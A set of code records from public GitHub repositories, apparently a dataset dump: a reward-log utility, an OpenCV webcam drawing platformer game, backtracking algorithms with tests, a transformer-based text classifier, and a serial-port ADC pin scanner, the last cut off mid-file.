dst)\n\n\ndef copy_top_k_matching_reward(run_identifier, k=10, skip_n_episodes=100, src=\"./logs\", dst=\"./best\"):\n    episode_dict = _read_in_run(run_identifier, src)\n    _, top_array = select_top_k_reward(episode_dict, k=k, skip_n_episodes=skip_n_episodes)\n    if top_array is not None:\n        copy_to(run_identifier, top_array, src, dst)\n\n\ndef read_as_list(run_identifier, directory):\n    runs_dict = _read_in_run(run_identifier, directory)\n    return list(runs_dict.values())\n","repo_name":"UniHD-CEG/galen","sub_path":"tools/util/select_top.py","file_name":"select_top.py","file_ext":"py","file_size_in_byte":3225,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"74697646269","text":"#Drawing Platformer (Square Jumper)\n#by Emmaline Mai (emai, Section B)\n\n#This file contains the mainApp class, begins the game, and runs it\n\nfrom monster import *\nfrom character import *\nfrom obstacle import *\nfrom LessEnemiesPowerup import *\nfrom slowerEnemiesPowerup import *\n\nclass MainApp(object):\n\n    #initializes everything for one time and begins the game\n    def __init__(self):\n        self.cap = cv2.VideoCapture(0)\n\n        self.margin = 30\n        self.width =  int(self.cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n        self.height = int(self.cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n        \n        self.player = Character(self.width//2, 0)\n\n        self.startGame()\n\n    #sets all game elements up for the game to begin\n    def startGame(self):\n        self.scrollX = 5\n        self.distance = 0\n        self.inkMax = 30\n        self.triesLeft = 3\n\n        self.obstacleChances = 50\n        self.monsterChances = 80\n\n        self.startFromCheckpoint()\n        self.initScreens() \n        self.gameLoop()\n\n    #initializes the game by keeping parts of model that stay when \n    # restarting from a checkpoint and initializing others\n    def startFromCheckpoint(self):\n        self.dots = []\n        self.isDrawing = False\n        self.lastDist = -10\n        self.currLine = []\n        self.ink = self.inkMax\n        self.health = 5\n\n        self.player.x = self.width//2\n        self.player.y = 0\n        self.player.dy = 0\n\n        self.numMonsters = 0\n        self.numObstacles = 0\n        self.monsters = set()\n        self.obstacles = set()\n\n        self.lessEnemiesPowerup = LessEnemiesPowerup(-1, 0, self)\n        self.slowerEnemiesPowerup = SlowerEnemiesPowerup(-1, 0, self)\n\n        self.checkpointTimer = 0\n\n        #starting from checkpoint\n        self.distance = 150 * (self.distance // 150)     \n\n    #calls functions to initialize the start, end, and help screens\n    def initScreens(self):\n        self.isStartScreen = True\n        self.isEndScreen = False\n        self.isHelpScreen = False\n\n        self.isEnteringNameScreen = False\n        self.name = \"\"\n\n        self.isLeaderboardScreen = False\n\n        self.initHelpScreen()\n\n    #sets up the starting screen\n    def initStartScreen(self):\n        for c in self.findBlue():\n            x,y,w,h = cv2.boundingRect(c)\n            if (y > 10 and h > 10):\n                cv2.rectangle(self.frame,(x,y),(x+w,y+h),\n                    (190,210,235),2)\n        self.frame = cv2.flip(self.frame, 1)\n\n        cv2.putText(self.frame, 'SQUARE JUMPER', \n            (10, self.height//2 - 40), \n            cv2.FONT_HERSHEY_DUPLEX, 2, (203,164,229), 2, cv2.LINE_AA)\n        cv2.putText(self.frame, 'Press space to play!', \n            (10, self.height//2 + 100), cv2.FONT_HERSHEY_DUPLEX, 1, \n            (203,164,229), 2, cv2.LINE_AA)\n        cv2.putText(self.frame, 'Press h for help', \n            (10, self.height//2 + 150), cv2.FONT_HERSHEY_DUPLEX, 1, \n            (203,164,229), 2, cv2.LINE_AA)\n        cv2.putText(self.frame, \n            'Test your blue pointer detection on this screen', \n            (10, self.height - 50), cv2.FONT_HERSHEY_DUPLEX, 0.75, \n            (203,164,229), 1, cv2.LINE_AA)\n\n    #sets up the ending screen\n    def initEndScreen(self):\n        self.endScreen = np.zeros((self.height, self.width, 3), \n            np.uint8)\n        cv2.rectangle(self.endScreen, (0,0), \n            (self.width, self.height), (46,6,69), thickness = -1)\n        cv2.putText(self.endScreen, \n            'Better luck next time.', (10, self.height//2 - 70), \n            cv2.FONT_HERSHEY_DUPLEX, 1.2, (203,164,229), 2, cv2.LINE_AA)\n        cv2.putText(self.endScreen, f'Total distance bounced: {self.distance}m', \n            (10, self.height//2 - 20), cv2.FONT_HERSHEY_DUPLEX, 1.2, \n            (203,164,229), 2, cv2.LINE_AA)\n\n        cv2.putText(self.endScreen, \n            'Press e to add yourself to the leaderboard!', \n            (10, self.height//2 + 80), cv2.FONT_HERSHEY_SIMPLEX, 0.75, \n            (190,210,235), 2, cv2.LINE_AA)\n        if (self.triesLeft > 0):\n            cv2.putText(self.endScreen, \n            f'{self.triesLeft} tries left. Press c to retry from checkpoint', \n            (10, self.height//2 + 150), cv2.FONT_HERSHEY_SIMPLEX, 0.75, \n            (190,210,235), 2, cv2.LINE_AA)\n        else:\n            cv2.putText(self.endScreen, 'Sorry, you have no tries left.', \n            (10, self.height//2 + 150), cv2.FONT_HERSHEY_SIMPLEX, 0.75, \n            (190,210,235), 2, cv2.LINE_AA)\n\n        cv2.putText(self.endScreen, 'Press r to restart entirely', \n            (10, self.height//2 + 190), cv2.FONT_HERSHEY_SIMPLEX, 0.75, \n            (190,210,235), 2, cv2.LINE_AA)\n\n    #sets up the help screen\n    def initHelpScreen(self):\n        helpText = \"\"\"\nHelp Screen\n\nPress space to draw/stop drawing in the air with a pointer\nwith a blue tip, and the drawings will appear on the \nscreen as platforms for the character. The game ends when \nyou fall off the screen or run out of health from being \ncaught by enemies, and scores are based on total distance \nrun. Gather power ups to temporarily reduce the chances \nof obstacles/enemies appearing or slow enemies down. A \ncheckpoint is reached every 150m, and after losing you can \nrestart at a checkpoint as long as you have tries left. \nYou start with 3 tries.\n\nPointer Troubleshooting:\nCheck if the blue color detection works on the start screen.\nIf it isn't working, move to a brighter area with a darker \nbackground. Draw slowly!\n\nPress h to return!\"\"\"\n        self.helpScreen = np.zeros((self.height, self.width, 3), \n            np.uint8)\n        cv2.rectangle(self.helpScreen, (0,0), \n            (self.width, self.height), (203,164,229), thickness = -1)\n        lineHeight = 20\n        i = 0\n        for line in helpText.split('\\n'):\n            cv2.putText(self.helpScreen, line, (10, 5 + 20 * i), \n                cv2.FONT_HERSHEY_SIMPLEX, 0.6, (46,6,69), 1, cv2.LINE_AA)\n            i += 1\n\n    #initialzes the screen for players to enter their names for the leaderboard\n    def initEnteringNameScreen(self):\n        self.enteringNameScreen = np.zeros((self.height, self.width, 3), \n            np.uint8)\n        cv2.rectangle(self.enteringNameScreen, (0,0), \n            (self.width, self.height), (203,164,229), thickness = -1)\n        cv2.putText(self.enteringNameScreen, \n            'Enter your name for the leaderboard and hit enter when done.', \n            (20, self.height // 2 - 50), \n            cv2.FONT_HERSHEY_SIMPLEX, 0.55, (46,6,69), 1, cv2.LINE_AA)\n        cv2.putText(self.enteringNameScreen, \n            'It may only contain upper and lowercase letters.', \n            (20, self.height // 2), \n            cv2.FONT_HERSHEY_SIMPLEX, 0.55, (46,6,69), 1, cv2.LINE_AA)\n        if (self.name == \"\"):\n            text = \"(start typing and your name will appear here)\"\n        else:\n            text = f'{self.name}'\n        cv2.putText(self.enteringNameScreen, text, (20, self.height // 2 + 50), \n            cv2.FONT_HERSHEY_SIMPLEX, 0.55, (46,6,69), 1, cv2.LINE_AA)\n\n    #initializes the leaderboard screen\n    def initLeaderboardScreen(self):\n        self.leaderboardScreen = np.zeros((self.height, self.width, 3), \n            np.uint8)\n        cv2.rectangle(self.leaderboardScreen, (0,0), \n            (self.width, self.height), (203,164,229), thickness = -1)\n        cv2.putText(self.leaderboardScreen, \n            'Leaderboard:', \n            (10, 50), \n            cv2.FONT_HERSHEY_SIMPLEX, 1, (46,6,69), 2, cv2.LINE_AA)\n        \n        leaderboard = open('leaderboard.txt', 'r')\n        ranks = leaderboard.readlines()\n        leaderboard.close()\n        i = 0\n        for rank in ranks:\n            cv2.putText(self.leaderboardScreen, rank.strip(), \n                (10, 100 + 25 * i), cv2.FONT_HERSHEY_SIMPLEX, \n                0.65, (46,6,69), 1, cv2.LINE_AA)\n            i += 1     \n\n        cv2.putText(self.leaderboardScreen, \n            'Press r to restart!', \n            (10, self.height - 50), \n            cv2.FONT_HERSHEY_SIMPLEX, 1, (46,6,69), 2, cv2.LINE_AA)\n\n    #the main game loop, which runs for as long as the camera is on, calls\n    #  the various functions that make gameplay possible, and displays the \n    # screen\n    def gameLoop(self):        \n        while (self.cap.isOpened()):\n            self.blank = np.zeros((self.height, self.width, 3), dtype=np.uint8)\n            _, self.frame = self.cap.read()\n\n            if (self.isHelpScreen):\n                toShow = self.helpScreen\n            elif (self.isEnteringNameScreen):\n                self.enterName()\n                self.initEnteringNameScreen()\n                toShow = self.enteringNameScreen\n            elif (self.isLeaderboardScreen):\n                self.initLeaderboardScreen()\n                toShow = self.leaderboardScreen\n            elif (self.isStartScreen):\n                self.initStartScreen()\n                toShow = self.frame\n            elif (self.isEndScreen):\n                self.initEndScreen()\n                toShow = self.endScreen\n            else:\n                self.frame = cv2.flip(self.frame, 1)\n                self.cameraFired()\n                self.redrawAll()\n                self.blurDrawing()\n                toShow = cv2.addWeighted(self.blank, 1, self.frame, 0.7, 0)\n            \n            cv2.imshow('Square Jumper', toShow)\n            self.checkKeyPressed()\n\n    #blurs and smooths out the drawing done by the player by \n    # resizing it multiple times\n    def blurDrawing(self):\n        for i in range(80):\n            if (i % 2 == 0):\n                self.blank = cv2.resize(self.blank, \n                    (self.width//4, self.height//4))\n            else:\n                self.blank = cv2.resize(self.blank, \n                    (self.width, self.height))\n\n    #called with every new new frame captured by the camera, updates the \n    # positions of all game elements\n    def cameraFired(self):\n        self.distance += 1\n        #game gets harder\n        self.checkCheckpointReached()\n        self.checkIncreaseScrollX()\n\n        if (self.isDrawing):\n            self.addToCurrLine(self.findBlue())\n            self.ink -= 1\n            if (self.ink <= 0):\n                self.isDrawing = False\n        elif (self.ink < self.inkMax):\n            self.ink += 1\n        \n        i = 0\n        while (i < len(self.dots)):\n            self.scrollListPts(self.dots[i])\n            if (len(self.dots[i]) == 0):\n                self.dots.pop(i)\n                continue\n            i += 1\n        self.scrollListPts(self.currLine)\n        self.player.fall(self.dots, self.currLine)\n        if (self.player.checkFellOff(self.height)):\n            self.isEndScreen = True\n\n        self.lessEnemiesPowerup.update()\n        self.slowerEnemiesPowerup.update()\n        self.updateMonsters()\n        self.updateObstacles()\n    \n    #checks if a checkpoint has been reached\n    def checkCheckpointReached(self):\n        if (self.checkpointTimer > 0):\n            self.drawCheckpoint()\n            self.checkpointTimer -= 1\n\n        if (self.distance % 150 == 0):\n            if (self.monsterChances > 20): \n                self.monsterChances -= 10\n            if (self.obstacleChances > 20): \n                self.obstacleChances -= 10\n            if (self.inkMax > 10): \n                self.inkMax -= 5\n            self.lastDist = self.distance\n            self.checkpointTimer = 20\n\n    #increments scrollX more gradually than all at once\n    def checkIncreaseScrollX(self):\n        if (self.lastDist + 20 > self.distance and self.distance % 10 == 0):\n            self.scrollX += 1\n        else:\n            self.lastDist = -10\n\n    #updates all of the monsters' movements\n    def updateMonsters(self):\n        toRemove = None\n        for monster in self.monsters:\n            monster.move(self.obstacles)\n            if (monster.isOffScreen(self.height)):\n                toRemove = monster\n            x1 = monster.x - monster.r\n            y1 = monster.y - monster.r\n            x2 = monster.x + monster.r\n            y2 = monster.y + monster.r\n            if (self.player.isTouching((x1, y1, x2, y2)) == 'right' or \n                self.player.isTouching((x1, y1, x2, y2)) == 'left'):\n                self.health -= 1\n                toRemove = monster\n                if (self.health == 0):\n                    self.isEndScreen = True\n        if (toRemove != None):\n            self.monsters.remove(toRemove)\n\n        if (random.randint(1, self.monsterChances) == 1):\n            self.numMonsters += 1\n            self.monsters.add(Monster(self.width, \n                random.randint(0, self.height), self.player,\n                self.numMonsters))\n\n    #updates all of the obstacles' movements \n    def updateObstacles(self):\n        toRemove = None\n        for obstacle in self.obstacles:\n            obstacle.x -= self.scrollX\n            if (obstacle.isOffScreen()):\n                toRemove = obstacle\n            if (self.player.isTouching(\n                (obstacle.x, obstacle.y, obstacle.width, obstacle.height))\n                == 'right'):\n                self.player.x -= self.scrollX\n        if (toRemove != None):\n            self.obstacles.remove(toRemove)\n\n        if (random.randint(1,self.obstacleChances) == 1):\n            self.numObstacles += 1\n            randomHeight = random.randint(20, 80)\n            self.obstacles.add(Obstacle(self.width, \n                random.randint(0, self.height - randomHeight), \n                randomHeight, self.numObstacles))\n\n    #scrolls the ground list across the screen\n    def scrollListPts(self, lst):\n        j = 0\n        while (j < len(lst)):\n            x,y,w,h = lst[j]\n            lst[j] = (x - self.scrollX, y, w, h)\n\n            if (x <= 0):\n                lst.pop(j)\n                continue\n            j += 1\n\n    #checks keys to see if the player wants to close the window, or draw\n    def checkKeyPressed(self):\n        key = cv2.waitKey(5) & 0xFF\n        if (not self.isEnteringNameScreen):\n            #universal keys\n            if (key == ord('q')):\n                self.endGame()        \n            elif (key == ord('r')):\n                self.startGame()\n            elif (key == ord('h')):\n                self.isHelpScreen = not self.isHelpScreen\n\n            if (self.isStartScreen): \n                if (key == ord(' ')):\n                    self.isStartScreen = False\n            elif (self.isEndScreen):\n                if (self.triesLeft > 0 and key == ord('c')):\n                    self.startFromCheckpoint()\n                    self.isEndScreen = False\n                    self.triesLeft -= 1\n                elif (key == ord('e')):\n                    self.isEnteringNameScreen = True\n                    self.isEndScreen = False\n            elif (not self.isEndScreen and not self.isHelpScreen):\n                if (key == ord(' ')):\n                    if (self.isDrawing == True):\n                        self.isDrawing = False\n                        self.dots += [self.currLine]\n                        self.currLine = []\n                    else:\n                        self.isDrawing = True\n\n    #handles the player typing their name and adds that name to the leaderboard\n    def enterName(self):\n        key = cv2.waitKey(5) & 0xFF\n        if (key in range(97, 123) or key in range(65, 91)):\n            self.name += chr(key)\n        elif (key == 8):\n            self.name = self.name[:len(self.name) - 1]\n        elif (key == 13 and self.name != \"\"):\n            self.isEnteringNameScreen = False\n            self.isLeaderboardScreen = True\n\n            leaderboardR = open('leaderboard.txt', 'r')\n            ranks = leaderboardR.readlines()\n            newRanks = copy.copy(ranks)\n            inserted = False\n            for line in ranks:\n                for value in line.split():\n                    if (value.isdigit() and int(value) <= self.distance):\n                        newRanks.insert(ranks.index(line), \n                            f'{self.name} {self.distance} \\n')\n                        inserted = True\n                        break\n                if (inserted): break\n            if (not inserted): newRanks += [f'{self.name} {self.distance} \\n']\n            if (len(newRanks) > 10):\n                newRanks.pop()\n            leaderboardR.close()\n\n            leaderboardW = open('leaderboard.txt', 'w')\n            leaderboardW.writelines(newRanks)\n            leaderboardW.close()\n\n    #uses vision to identify the blue pointer and store its current position \n    # as the newest point in the list of point forming a line currently being \n    # drawn, if the blue identified isn't a stray point from the background    \n    #credit to https://www.geeksforgeeks.org/detection-specific-colorblue-\n    # using-opencv-python/ for opencv color detection tutorials and inspiration\n    def findBlue(self):\n        hsv = cv2.cvtColor(self.frame, cv2.COLOR_BGR2HSV) \n        lower_b = np.array([100,130,130]) \n        upper_b = np.array([130,255,255])\n    \n        mask = cv2.inRange(hsv, lower_b, upper_b) \n\n        ret, thresh = cv2.threshold(mask, 127, 255, cv2.THRESH_TOZERO)\n        contours, hier = cv2.findContours(thresh, cv2.RETR_TREE, \n            cv2.CHAIN_APPROX_SIMPLE)\n        return contours\n\n    #adds detected contours to the current platform being drawn\n    def addToCurrLine(self, contours):\n        for c in contours:\n            x,y,w,h = cv2.boundingRect(c)\n            if (y > 10 and h > 10):\n                self.currLine.insert(0, (x,y,w,h))\n                cv2.rectangle(self.frame,(x,y),(x+w,y+h),(190,210,235),2)\n\n                #check that it isn't a stray errant detection\n                if (len(self.currLine) > 1):\n                    x1,y1,w1,h1 = self.currLine[1]\n                    if (not (abs(x1-x) < 60 and abs(y1-y) < 60)):\n                        self.currLine.pop(0)\n\n    #main function that draws all of the game elements\n    def redrawAll(self):\n        #draw labels\n        cv2.rectangle(self.frame, (0, self.height - self.margin), \n            (self.width, self.height), (190,210,235), thickness = -1)\n        cv2.rectangle(self.frame, (0, 0), \n            (self.width, self.margin), (190,210,235), thickness = -1)\n\n        cv2.putText(self.frame, 'Press h for help', (10, self.height - 10), \n            cv2.FONT_HERSHEY_DUPLEX, 0.65, (46,6,69), 1, cv2.LINE_AA)\n        text=f'Distance:{self.distance}m Ink:{self.ink} Health:{self.health}'\n        cv2.putText(self.frame, text, (10, 20), \n            cv2.FONT_HERSHEY_DUPLEX, 0.65, (46,6,69), 1, cv2.LINE_AA)\n\n        #draw game elements\n        self.drawMountains()\n        self.drawDots()\n        for monster in self.monsters:\n            monster.draw(self.frame)\n        for obstacle in self.obstacles:\n            obstacle.draw(self.frame)\n        self.player.draw(self.frame)\n        self.lessEnemiesPowerup.draw(self.frame)\n        self.slowerEnemiesPowerup.draw(self.frame)\n\n    #parallax drawing of mountains in the background   \n    def drawMountains(self):\n        backG = self.frame.copy()\n\n        mountainWidth = self.width // 5\n\n        #back set\n        for i in range(-1 * (self.scrollX - 2) * self.distance, \n            self.width, mountainWidth):\n            if (i + mountainWidth >= 0):\n                trianglePts = np.array([(i, self.height - self.margin), \n                    (i+mountainWidth, self.height - self.margin), \n                    ((i+i+mountainWidth)//2, \n                    self.height - 150 - self.margin)])\n                cv2.drawContours(backG, [trianglePts], -1, (203,164,229), -1)\n        \n        #front set\n        for i in range(-1 * self.scrollX * self.distance, self.width, \n            mountainWidth):\n            if (i + mountainWidth >= 0):\n                trianglePts = np.array([(i, self.height - self.margin), \n                    (i+mountainWidth, self.height - self.margin), \n                    ((i+i+mountainWidth)//2, \n                    self.height - 75 - self.margin)])\n                cv2.drawContours(backG, [trianglePts], -1, (190,210,235), -1)\n\n        self.frame = cv2.addWeighted(backG, 0.5, self.frame, 0.5, 0)\n    \n    #draws the lines on the screen that the player is drawing\n    def drawDots(self):\n        for j in range(len(self.dots)):\n            for i in range(len(self.dots[j]) - 1):\n                x1,y1,w1,h1 = self.dots[j][i]\n                x2,y2,w2,h2 = self.dots[j][i+1]\n\n                #draws anti-aliased line\n                cv2.line(self.blank, (x1, y1), (x2, y2), (190,210,235), \n                    thickness = 20, lineType=cv2.LINE_AA)\n\n        for i in range(len(self.currLine) - 1):\n                x1,y1,w1,h1 = self.currLine[i]\n                x2,y2,w2,h2 = self.currLine[i+1]\n\n                cv2.line(self.blank, (x1, y1), (x2, y2), (190,210,235), \n                    thickness = 20, lineType=cv2.LINE_AA)\n\n    #draws a message for a checkpoint\n    def drawCheckpoint(self):\n        cv2.putText(self.frame, 'Checkpoint reached!', \n                (self.width//2 - 150, self.height//2), \n                cv2.FONT_HERSHEY_SIMPLEX, 1, (171,239,81), 2, cv2.LINE_AA)\n\n    # closes the windows when the player wants to quit the game        \n    def endGame(self):\n        cv2.destroyAllWindows()\n        self.cap.release() \n\nm = MainApp()\n","repo_name":"emmaline01/DrawingPlatformer","sub_path":"mainApp.py","file_name":"mainApp.py","file_ext":"py","file_size_in_byte":21279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38206830051","text":"import unittest\n\n\ndef k_partition(S: list[int], K: int) -> tuple[list[list[int]], int]:\n    \"\"\"\n    Partitions a set S into K subsets with equal sum.\n\n    Args:\n        S: A list of positive integers representing the set to be partitioned\n        K: An integer representing the number of subsets to partition S into\n\n    Returns:\n        A tuple containing:\n            - A list of lists, each representing a subset in the partition\n            - An integer representing the number of partitions\n    \"\"\"\n\n    if not S:\n        raise ValueError(\"Cannot partition on an empty array\")\n\n    total_sum = sum(S)\n    if total_sum % K != 0:\n        raise ValueError(\"Cannot partition set into equal sum subsets\")\n\n    target_sum = total_sum // K\n    n = len(S)\n    partition = [[] for _ in range(K)]\n\n    def backtrack(index: int, current_sum: int, remaining_sets: int) -> bool:\n        if remaining_sets == 0:\n            return True\n        if current_sum > target_sum:\n            return False\n        if current_sum == target_sum:\n            return backtrack(0, 0, remaining_sets - 1)\n\n        for i in range(index, n):\n            if not used[i]:\n                used[i] = True\n                partition[remaining_sets - 1].append(S[i])\n                if backtrack(i + 1, current_sum + S[i], remaining_sets):\n                    return True\n                partition[remaining_sets - 1].pop()\n                used[i] = False\n\n        return False\n\n    used = [False] * n\n    if not backtrack(0, 0, K):\n        raise ValueError(\"Cannot partition set into equal sum subsets\")\n\n    return partition, K\n\n\nclass TestKPartition(unittest.TestCase):\n\n    def test_k_partition(self):\n        S = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n        K = 3\n        expected_partitions = [[7, 8], [6, 9], [1, 2, 3, 4, 5]]\n        expected_num_partitions = 3\n        partitions, num_partitions = k_partition(S, K)\n        self.assertEqual(partitions, expected_partitions)\n        self.assertEqual(num_partitions, expected_num_partitions)\n\n    def test_k_partition_empty_set(self):\n        S = []\n        K = 3\n        with self.assertRaises(ValueError):\n            partitions, num_partitions = k_partition(S, K)\n\n    def test_k_partition_impossible_partition(self):\n        S = [1, 2, 3, 4, 5]\n        K = 4\n        with self.assertRaises(ValueError):\n            partitions, num_partitions = k_partition(S, K)\n\n    def test_k_partition_large_set(self):\n        S = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n        K = 5\n        expected_partitions = [\n            [11, 13], [10, 14], [9, 15],\n            [5, 7, 12], [1, 2, 3, 4, 6, 8]\n        ]\n        expected_num_partitions = 5\n        partitions, num_partitions = k_partition(S, K)\n        self.assertEqual(partitions, expected_partitions)\n        self.assertEqual(num_partitions, expected_num_partitions)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"TruongNhanNguyen/Python-Fundamentals","sub_path":"algorithms/backtracking/k_partitions.py","file_name":"k_partitions.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"21953616095","text":"from typing import List\nfrom copy import copy\n\n\nclass Solution:\n    def numsSameConsecDiff(self, n: int, k: int) -> List[int]:\n        result = []\n        def backtracking(choose, path):\n            seen = set()\n            if len(path) == n:\n                result.append(int(path))\n                return\n            for i in choose:\n                if i not in seen:\n                    seen.add(i)\n                    path += str(i)\n                    new_back = []\n                    if i + k <= 9:\n                        new_back.append(i+k)\n                    if i-k >= 0:\n                        new_back.append(i-k)\n                    if len(new_back) >= 1:\n                        backtracking(new_back, path)\n                    path = path[:-1]\n        backtracking([1,2,3,4,5,6,7,8,9], '')\n        return result\n\n\n\n\n\n\nif __name__ == '__main__':\n    print(Solution().numsSameConsecDiff( n = 2, k = 0))","repo_name":"liuyuhanalex/Leetcode","sub_path":"backtracking/967. Numbers With Same Consecutive Differences.py","file_name":"967. Numbers With Same Consecutive Differences.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73003704192","text":"from transformers import BertTokenizer\nfrom transformers import BertForSequenceClassification\nimport torch\nfrom transformers import pipeline\nfrom transformers.pipelines.pt_utils import KeyDataset\nfrom transformers import logging\nimport numpy as np\nimport torch as T\nimport gensim\nclass Classifier:\n    def __init__(self,path,embedding_path=\"model/GoogleNews-vectors-negative300.bin.gz\"):\n        self.grammar_model = BertForSequenceClassification.from_pretrained(path)\n        self.grammar_tokenizer = BertTokenizer.from_pretrained(path)\n        fluency_pipe = pipeline(model=\"prithivida/parrot_fluency_model\",task = 'text-classification',return_all_scores = True)\n        sentiment_pipe = pipeline(model=\"siebert/sentiment-roberta-large-english\",task = 'text-classification',return_all_scores = True)\n        topic_pipe = pipeline(model=\"ebrigham/EYY-Topic-Classification\",task = 'text-classification',return_all_scores = True)\n        self.pipes = [fluency_pipe,sentiment_pipe,topic_pipe]\n        self.loss = torch.nn.CrossEntropyLoss()\n        self.embedding_model=gensim.models.KeyedVectors.load_word2vec_format(embedding_path, binary=True)\n    def sentiment_pred(self,sent):\n        return self.pipes[1](sent)\n\n    def grammar_pred(self,sent):\n        encoded_dict = self.grammar_tokenizer.encode_plus(\n                sent,                     \n                add_special_tokens = True, \n                max_length = 64,         \n                pad_to_max_length = True,\n                return_attention_mask = True,   \n                return_tensors = 'pt', \n            )\n        input_id = encoded_dict['input_ids']\n        attention_mask = encoded_dict['attention_mask']\n        input_id = torch.LongTensor(input_id)\n        attention_mask = torch.LongTensor(attention_mask)\n        outputs = self.grammar_model(input_id, token_type_ids=None, attention_mask=attention_mask)\n        logits = outputs[0]\n        return torch.nn.Softmax(dim=1)(logits)\n\n    def fluency_pred(self,sent):\n        return self.pipes[0](sent)\n\n    def topic_pred(self,sent):\n        return self.pipes[2](sent)\n    \n    def sentence_mover_distance(self,generated_sentence,base_line_sentence,target_sentence):\n        \"\"\"\n        Expect all 3 inputs to be a sentence string object, returns baseline_distance and generated_distance\n        \"\"\"\n        target_sentence = target_sentence.lower().split()\n        base_line_sentence= base_line_sentence.lower().split()\n        generated_sentence= generated_sentence.lower().split()\n        print(generated_sentence,base_line_sentence, target_sentence)\n\n        # generated_sentence = [w for w in generated_sentence if w not in self.stopwords]\n        # target_sentence = [w for w in target_sentence if w not in self.stopwords]\n        # base_line_sentence=[w for w in base_line_sentence if w not in self.stopwords]\n        generated_distance= self.embedding_model.wmdistance(generated_sentence, target_sentence)\n        baseline_distance= self.embedding_model.wmdistance(base_line_sentence, target_sentence)\n        # print(\"baseline_distance\",baseline_distance,\"generated distance\",generated_distance)\n        return baseline_distance,generated_distance\n    \n    def get_scores(self,target,decoded):\n    #cross entropy scores between target and decoded = [fluency, sentiment, topic, grammar]\n      fluency_decoded = self.pipes[0](decoded)\n      scores = [-np.log(fluency_decoded[0][0]['score'])]\n      fluency_decoded = self.pipes[0](decoded)\n      for p in self.pipes[1:]:\n        target_pred = p(target)[0]\n        decoded_pred = p(decoded)[0]\n        prob_target = []\n        prob_decoded = []\n        for i in range(len(target_pred)):\n          prob_target.append(target_pred[i]['score'])\n          prob_decoded.append(decoded_pred[i]['score'])\n        prob_decoded = torch.tensor(prob_decoded).to(T.device('cuda:0' if T.cuda.is_available() else 'cpu'))\n        prob_target = torch.tensor(prob_target).to(T.device('cuda:0' if T.cuda.is_available() else 'cpu'))\n\n        target_max_idx = torch.argmax(prob_target, 0, keepdim=True)\n        target_one_hot = torch.FloatTensor(prob_target.shape)\n        target_one_hot.zero_()\n        target_one_hot.scatter_(0, target_max_idx, 1)\n        scores.append(- self.loss(prob_decoded,target_one_hot).item())\n      grammar_decoded = self.grammar_pred(decoded)\n      scores.append(-np.log(grammar_decoded[0,0].item()))\n      # print(\"the score is:\",scores)\n      return scores","repo_name":"felixmg312/RL_decoder","sub_path":"src/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":4449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31181843949","text":"#import serial.tools.list_ports              # Used to get a list of com ports\nimport tkinter as tk\nimport pygubu.widgets.simpletooltip as tooltip\nfrom Scanner import Scanner\n# from com_portManager import com_portManager\nfrom time import sleep\nfrom globalvars import *\n\nclass ADCscanner (Scanner):\n\n    def __init__(self, listOfPins, parent):\n        super().__init__(parent)\n        self.listOfPins = listOfPins    #the class handles a list of pins (i.e., [\"CW KEYer\", \"ENC SW\"], etc.)\n\n        self.title(\"Scan Analog Pin(s)\")\n        #self.iconbitmap(WINDOWMANAGERICON)\n\n\n    def scannerStart(self):\n\n        #\n        #   Some definitions might be helpful here...\n        #\n        #   self.comPortObj  is a handle to the comport that was openned when the eeprom was first read in\n        #                    in most cases, this should be still openned and can be directly read.\n        #   self.comPortObj.getSelectedComPort()  returns the name of the com port. e.g. COM8\n        #\n        #   so self.comPOrtObj.openSelectedComPort(self.comPortObj.getSelected()) is equivalent to asking whether COM8\n        #                   (or whatever) was opened previously, and if not open it.\n\n    #print(\"comport real name =\", self.comPortObj.getSelectedComPort())\n\n    #if(self.comPortObj.openSelectedComPort()):        # was able to open com port\n        self.log_msg(self.scannerLog_Text, \"\\n***Starting ADC Scan***\")\n        self.update()                                   #allows the updating of the text window\n\n        # self.RS232 = self.comPortObj.getComPortDesc()\n\n\n        # Enable Stop Button\n        self.scanner_Stop_Button_Widget.configure(state='normal')\n\n        self.stop = False\n        while self.stop == False:\n            for aPin in self.listOfPins:\n                #\n                #   This sends the command to the serial port. Notice that it is possible that the port\n                #   had been previously opened, was unplugged, and then re-plugged in.\n                #   In this case, the prior handle would be invalid. The only way to tell is to try\n                #   to write to it and see if it fails. This happens within sendCommand, and if the\n                #   write fails, it closes the old port, opens it up again to get a valid handle\n                #   and then sends the command.\n                #   So it has to update the original port handle by returning it. That is what is happening\n                #   below.\n                RS232=self.comPortObj.sendCommand(bytes([ANALOGPINS[aPin], 0, 0, 0, READADCDATA]))\n\n                i = 0\n                lastReadTime = millis()\n\n                while i < 3:\n                    if RS232.in_waiting != 0:          # have a byte to read\n                        lastReadTime = millis()                 #reset time out clock\n                        if i == 0:          #got first byte\n                            byte1 = RS232.read(1)\n                        elif i == 1:        #got second byte\n                            byte2 = RS232.read(1)\n                        else:\n                            throwaway = RS232.read(1)   # last byte is zero\n                        i += 1\n                    else:\n                        if (millis() -lastReadTime > SERIALTIMEOUT):\n                            self.log_msg(self.scannerLog_Text, \"**ERROR**: Timeout communicating with uBTIX.\")\n                            self.log_msg(self.scannerLog_Text, \"Check your port selection and try again.\")\n                            return\n\n                adcValue = (ord(byte1)<<8) + ord(byte2)\n\n\n                # Output value to log\n                self.log_msg(self.scannerLog_Text, aPin.ljust(10) +str(adcValue).rjust(4))\n\n            self.log_msg(self.scannerLog_Text,' ')          #forces a newline between scans\n            self.update()                                   #allows the updating of the log window\n            sleep(1)      # one second interval between reports.\n        return\n\n    def enableGoButtonComPort(self):\n        self.scanner_Start_Button_Widget.configure(state='normal')\n\n\n    def disableGoButtonComPort(self):\n        